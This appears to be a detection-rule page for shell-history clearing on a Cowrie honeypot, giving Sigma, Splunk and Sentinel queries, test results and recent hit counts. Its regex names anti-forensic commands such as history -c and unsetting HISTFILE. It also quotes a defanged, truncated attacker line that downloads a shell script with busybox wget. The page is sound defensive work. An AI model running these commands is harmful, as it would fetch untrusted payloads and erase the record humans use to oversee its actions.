Shell History Cleared Or Disabled

medium Single event T1070.003 Stealth

history -c, deleting or truncating .bash_history, unsetting HISTFILE or pointing it at /dev/null: the attacker removes the record of the commands they just ran.

Tested

Matches all 6 attack events in match.jsonl and none of the 4 look-alike events in nomatch.jsonl. See the test events.

Seen on the honeypot

In the last 30 days (as of 2026-12-05 00:23:53 UTC) this rule fired in 9 sessions (13 matching commands), first on 2026-11-13 and last on 2026-11-25.

Most common matching command (URLs and IP addresses in it are defanged; the attackers' source IPs are never published):

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; /bin/busybox wget -q -O ssep.sh hxxp[:]//178[.]83[.]188[.]141/ss…

Counted by running this rule's Sigma logic on the honeypot's raw logs every hour.

False positives

Sigma

title: Shell History Cleared Or Disabled
id: fc6fa16e-8ed1-44c3-b72a-2956acce4304
status: experimental
description: |
  history -c, deleting or truncating .bash_history, unsetting HISTFILE or pointing it at /dev/null:
  the attacker removes the record of the commands they just ran.
references:
  - https://attack.mitre.org/techniques/T1070/003/
author: Estul Lachin
date: 2026-11-08
tags:
  - attack.stealth
  - attack.t1070.003
logsource:
  product: cowrie
detection:
  selection:
    eventid: cowrie.command.input
    input|re: 'history\s+-c|unset\s+HIST(FILE|SIZE)|HISTFILE=/dev/null|HISTSIZE=0|(\brm\b|>|\bln\s+-sf\s+/dev/null)[^;&|]*\.bash_history'
  condition: selection
falsepositives:
  - Privacy-minded users clearing their own history
level: medium

rules/history_clearing.yml

Splunk SPL

``` Shell History Cleared Or Disabled. Generated from rules/history_clearing.yml by tools/build.py; do not edit. ```
index=honeypot sourcetype=cowrie:json eventid="cowrie.command.input"
| regex input="history\\s+-c|unset\\s+HIST(FILE|SIZE)|HISTFILE=/dev/null|HISTSIZE=0|(\\brm\\b|>|\\bln\\s+-sf\\s+/dev/null)[^;&|]*\\.bash_history"

Verified in Splunk against the test events. dist/spl/history_clearing.spl

Microsoft Sentinel KQL

// Shell History Cleared Or Disabled. Generated from rules/history_clearing.yml by tools/build.py; do not edit.
Cowrie_CL
| where eventid =~ "cowrie.command.input" and input matches regex "history\\s+-c|unset\\s+HIST(FILE|SIZE)|HISTFILE=/dev/null|HISTSIZE=0|(\\brm\\b|>|\\bln\\s+-sf\\s+/dev/null)[^;&|]*\\.bash_history"

For the custom table Cowrie_CL (Cowrie's field names). Verified in Microsoft Sentinel against the test events, and deployed there as a scheduled analytics rule that runs every 15 minutes on the live honeypot feed. dist/kql/history_clearing.kql · analytics rule